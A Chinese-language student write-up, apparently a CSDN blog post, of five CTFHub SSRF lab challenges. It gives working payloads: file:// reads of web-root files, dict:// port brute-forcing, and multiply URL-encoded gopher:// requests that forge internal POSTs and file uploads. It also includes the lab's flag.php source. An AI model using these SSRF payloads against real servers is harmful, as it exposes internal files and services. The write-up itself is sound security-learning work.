ssrf学习(ctfhub靶场)

ssrf练习

目录

目录

ssrf类型

漏洞形成原理(来自网络)

靶场题目

第一题(url探测网站下文件)

第二关(使用伪协议)

关于http和file协议的理解

file协议

http协议

第三关(端口扫描)

第四关(post请求)

第五关(文件上传)


ssrf类型
漏洞形成原理(来自网络)

很多网站提供了从其他的服务器上获取数据的功能。通过指定的URL,网站可以从其他地方获取图片、下载文件、读取文件内容等。SSRF的实质就是利用存在缺陷的Web站点作为代理攻击远程和本地的服务器。

SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。攻击者可以利用改漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统)。

靶场题目

第一题(url探测网站下文件)

非常的简单,ok呀,有30分钟,不着急,这一关的目的应该是通过url跳转到内网服务器上的127.0.0.1/flag,没有做任何限制,导致可以直接读取到内网的文件

/?url=http://127.0.0.1/flag.php

?url这个意思应该是参数可控,导致可以跳转到别的界面

题目让我们访问内网的http://127.0.0.1/flag.php

开头也是直接给出来了啊,非常的不错,没有什么难度

第二关(使用伪协议)

Apache2的默认目录在:/var/www/html,也就是网站的默认目录

让我想一想,这一关和上一关有什么不同的地方,上一关是直接读取内网的127.0.0.1/flag.php文件,那这一关为什么不可以呢?

我尝试用http协议,发现并不能访问到这个文件

用file协议就可以获取,当然也可以写成/?url=http:///var/www/html/flag.php,/应该是表示本地的IP地址的意思

关于http和file协议的理解

file协议主要是读取本地的文件,是不对外开放的

http协议是对外开放的,在搭建的网站下的目录

file协议

本地系统的文件

http协议

,例如读取到pikachu下的文件(靶场的本地网站)

第三关(端口扫描)

这一关需要使用dict伪协议了,具体是什么我也不知道啊

在网上找的

Dict协议查看端口,版本信息;向服务器端口请求curl命令

来靶场给的提示

开局一个IP地址啊,非常的人性化,

那我们直接加上dict协议,再打开我们的bp开始爆破

添加payload位置

payload选数值,8000-9000

爆破到8839号时,发现长度不一样,但是里面却没有flag,怎么回事,后来发现需要使用http协议去访问这个网站,嗯?那我一开始使用http协议不好吗?反正就是看那个长度是不是一样的,

它的目的是啥,就是判断这个端口是否开放吗,那我用http协议不也是可以看这个端口是不是开放的,那不就是打得开就是开放的,

诶好像不是这样的,如果是22号端口(ssh)话,用http协议是不能判断是不是开放的,如果22号端口开放的话就可以爆破了,真聪明。好了,用http协议直接查看这个端口吧

http协议查看端口,就是这个网站的内容咯,ok啊,主页就是flag

第四关(post请求)

ok呀,开局先看wp,不然我不会写,不就是浪费我50个金币了,哎,之前金币一下就用光了,这下给省着点了,这道题好像有点麻烦,呜呜呜,以下内容参考ctfhub之ssrf练习

先理清下思路,意思是在file:///var/www/html/flag.php找到获取flag的方法,用post请求发送一个key值,给谁,给靶场地址的/flag.php,并且是从本地127.0.0.1发送的。

先分析一下,

首先利用file协议进入file:///var/www/html/index.php意思是先看他的网站主页源码吧

然后再就没了,然后我们再看file:///var/www/html/flag.php

代码的意思是让我们用post方法提交一个key值,然后它就给我们返回一个flag

找到key了。把key放到之前的post界面。
问题就在这里,虽然我们可以完成要求了,但是必须要在flag.php中进行这个post请求。一旦我们直接进入flag.php,就会提示从127.0.0.1访问(从服务器端发起请求)。也就是说,flag.php只能看不能摸。

这里就是gopher出场的时候了。

然后再由于curl支持gopher协议,所以这里是利用curl进行进行post请求

起码你必须包含以下要素

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=1e91e9e5b8b3cfe84f5442b9739553c6


解释几个可能存在的疑问:
1.为什么这里并没有使用curl,直接从网页上发起请求就可以了?
因为index.php本身就有curl_exec(),在截取url之后的参数后本来就能够完成操作了。

2.burp suite修改参数直接post行不行?
不行,虽然能够更改包参数,但是我们无法做到从服务器发起请求

3.为什么需要两次编码?
这是因为在浏览器的地址栏进行get传参时,浏览器会自动进行一次UrlDecode()的解码。但是这里curl就需要url编码的东西,所以需要编两次

参考CTFHub技能树 Web-SSRF POST请求_ctfhub 知识树 post-CSDN博客

注:在第一次编码后的数据中,将%0A全部替换为%0D%0A。
因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,
避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,
这样服务端会把%后的字节当做普通字节。

gopher协议格式及利用条件(看到这就是有个下划线的)

Gopher协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 ==》正因为这个本质,所以他可以用来发起GET、POST的http请求。

好了,开靶场了,寄,什么提示也没有,这是让我盲猜吗,是要根据前几关来做出判断吗

好了,根据前几关,我学了http协议、file协议,

先看一下http://127.0.0.1/index.php和http://127.0.0.1/index.php这里面有什么吧,前几关也是这样的,ok呀,找到了一个key值

在从网站下的目录找一下吧file://127.0.0.1/var/www/html/flag.php这里的代码没来的及截图

其实就是让我用post提交一个key值且ip地址为127.0.0.1,如果正确就返回flag

然后编码,替换我自己的key值

_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=d2c25785320f2cf34b3fcc8eb9e66c92%0d%0a

在编码

gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=d2c25785320f2cf34b3fcc8eb9e66c92%250d%250a

把编码的值放到框框里,这个框框应该是用post方法提交的,试着试着好像错了,我就在url上提交了,        

靶场时间不够了,我还续费了10分钟,其实我是把别人的payload复制过来了,改成了我自己的key值

再分析一下,需要gopher协议,换行符需要是%0D%0A,别问为啥,我也不晓得

content-length这里需要换两行(换一行行不行我也没有试过)

但是我自己去编码的时候空格会编码成加号,/会编码成%2f,但是别的文章没有,还有就是POST前面为什么会出现下划线,如果去掉会怎么样,不想再开一次靶场了,看看有没有别的靶场要不要金币

我知道了为啥会加下划线了,因为那个是gopher的语句,他的格式就是这样的

gopher协议格式:gopher://IP:port/_{TCP/IP数据流}    

第五关(文件上传)

ok啊,正好上关还没搞明白,看了一眼教程,发现和上一关一样要编码,ok先让我准备一下

先理清下思路,意思是让我们从本地上传一个图片,给谁,也是给http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/flag.php,用post方法,并且是用本地服务器发出去的,那就是让服务器自己去请求咯,就能得到flag

试过了,用这个编码工具才能成功,用了另一个没成功CTF在线工具-在线URL编码|URL解码 (hiencode.com)

这个方法要编码三次次,key换成自己的,第一次的%0A换成%OD%0A,然后我先用网上的url编码,编码三次次
不行在换ctf工具里的url编码工具,但是我觉得一个不是编码的问题,至于编码几次,在哪篇博客看到过,我忘记了

少了个提交按钮,直接加上
<input type="submit" name="submit">

图片上传代码
POST http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/flag.php HTTP/1.1
Host: challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------330768969129738900803122801082
Content-Length: 351
Origin: http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache

-----------------------------330768969129738900803122801082
Content-Disposition: form-data; name="file"; filename="w.txt"
Content-Type: text/plain

1111111111
-----------------------------330768969129738900803122801082
Content-Disposition: form-data; name="submit"

鎻愪氦鏌ヨ
-----------------------------330768969129738900803122801082--


gopher格式
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_

编码一次
POST%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800/flag.php%20HTTP/1.1%0d%0aHost%3A%20challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800%0d%0aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A131.0%29%20Gecko/20100101%20Firefox/131.0%0d%0aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/png%2Cimage/svg%2Bxml%2C%2A/%2A%3Bq%3D0.8%0d%0aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0d%0aAccept-Encoding%3A%20gzip%2C%20deflate%2C%20br%0d%0aContent-Type%3A%20multipart/form-data%3B%20boundary%3D---------------------------330768969129738900803122801082%0d%0aContent-Length%3A%20351%0d%0aOrigin%3A%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800%0d%0aConnection%3A%20close%0d%0aReferer%3A%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800/%3Furl%3Dfile%3A///var/www/html/flag.php%0d%0aUpgrade-Insecure-Requests%3A%201%0d%0aPriority%3A%20u%3D0%2C%20i%0d%0aPragma%3A%20no-cache%0d%0aCache-Control%3A%20no-cache%0d%0a%0d%0a-----------------------------330768969129738900803122801082%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22w.txt%22%0d%0aContent-Type%3A%20text/plain%0d%0a%0d%0a1111111111%0d%0a-----------------------------330768969129738900803122801082%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0d%0a%0d%0a%E9%8E%BB%E6%84%AA%E6%B0%A6%E9%8F%8C%E3%83%A8%EE%87%97%0d%0a-----------------------------330768969129738900803122801082--


编码二次
POST%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800/flag.php%2520HTTP/1.1%250d%250aHost%253A%2520challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800%250d%250aUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A131.0%2529%2520Gecko/20100101%2520Firefox/131.0%250d%250aAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/png%252Cimage/svg%252Bxml%252C%252A/%252A%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250d%250aContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------330768969129738900803122801082%250d%250aContent-Length%253A%2520351%250d%250aOrigin%253A%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800%250d%250aConnection%253A%2520close%250d%250aReferer%253A%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250aPriority%253A%2520u%253D0%252C%2520i%250d%250aPragma%253A%2520no-cache%250d%250aCache-Control%253A%2520no-cache%250d%250a%250d%250a-----------------------------330768969129738900803122801082%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522w.txt%2522%250d%250aContent-Type%253A%2520text/plain%250d%250a%250d%250a1111111111%250d%250a-----------------------------330768969129738900803122801082%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250d%250a%250d%250a%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250d%250a-----------------------------330768969129738900803122801082--



编码三次
POST%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800%25250d%25250aUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A131.0%252529%252520Gecko/20100101%252520Firefox/131.0%25250d%25250aAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252Cimage/png%25252Cimage/svg%25252Bxml%25252C%25252A/%25252A%25253Bq%25253D0.8%25250d%25250aAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250d%25250aAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25252C%252520br%25250d%25250aContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------330768969129738900803122801082%25250d%25250aContent-Length%25253A%252520351%25250d%25250aOrigin%25253A%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800%25250d%25250aConnection%25253A%252520close%25250d%25250aReferer%25253A%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800/%25253Furl%25253Dfile%25253A///var/www/html/flag.php%25250d%25250aUpgrade-Insecure-Requests%25253A%2525201%25250d%25250aPriority%25253A%252520u%25253D0%25252C%252520i%25250d%25250aPragma%25253A%252520no-cache%25250d%25250aCache-Control%25253A%252520no-cache%25250d%25250a%25250d%25250a-----------------------------330768969129738900803122801082%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522w.txt%252522%25250d%25250aContent-Type%25253A%252520text/plain%25250d%25250a%25250d%25250a1111111111%25250d%25250a-----------------------------330768969129738900803122801082%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250d%25250a%25250d%25250a%2525E9%25258E%2525BB%2525E6%252584%2525AA%2525E6%2525B0%2525A6%2525E9%25258F%25258C%2525E3%252583%2525A8%2525EE%252587%252597%25250d%25250a-----------------------------330768969129738900803122801082--


得到flag
ctfhub{f2ad826c5980005510b47597}

var/www/html/flag.php的代码


<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

参考文章

SSRF漏洞原理解析[通俗易懂]-腾讯云开发者社区-腾讯云 (tencent.com)

Ubuntu 18.04 Apache2默认网站目录和默认网站主页修改_改变apache2的目录默认样式-CSDN博客

http协议与file协议_浏览器file协议-CSDN博客

服务器端请求伪造--SSRF - FreeBuf网络安全行业门户

SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_ssrf用bp扫描的协议-CSDN博客

【网络安全 | HTTP】 gopher协议原理、语法及利用总结-阿里云开发者社区 (aliyun.com)

Gopher协议原理和限制介绍——Gopher协议支持发出GET、POST请求(类似协议转换):可以先截获get请求包和post请求包,在构成符合gopher协议的请求 - bonelee - 博客园 (cnblogs.com)

CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHubSSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值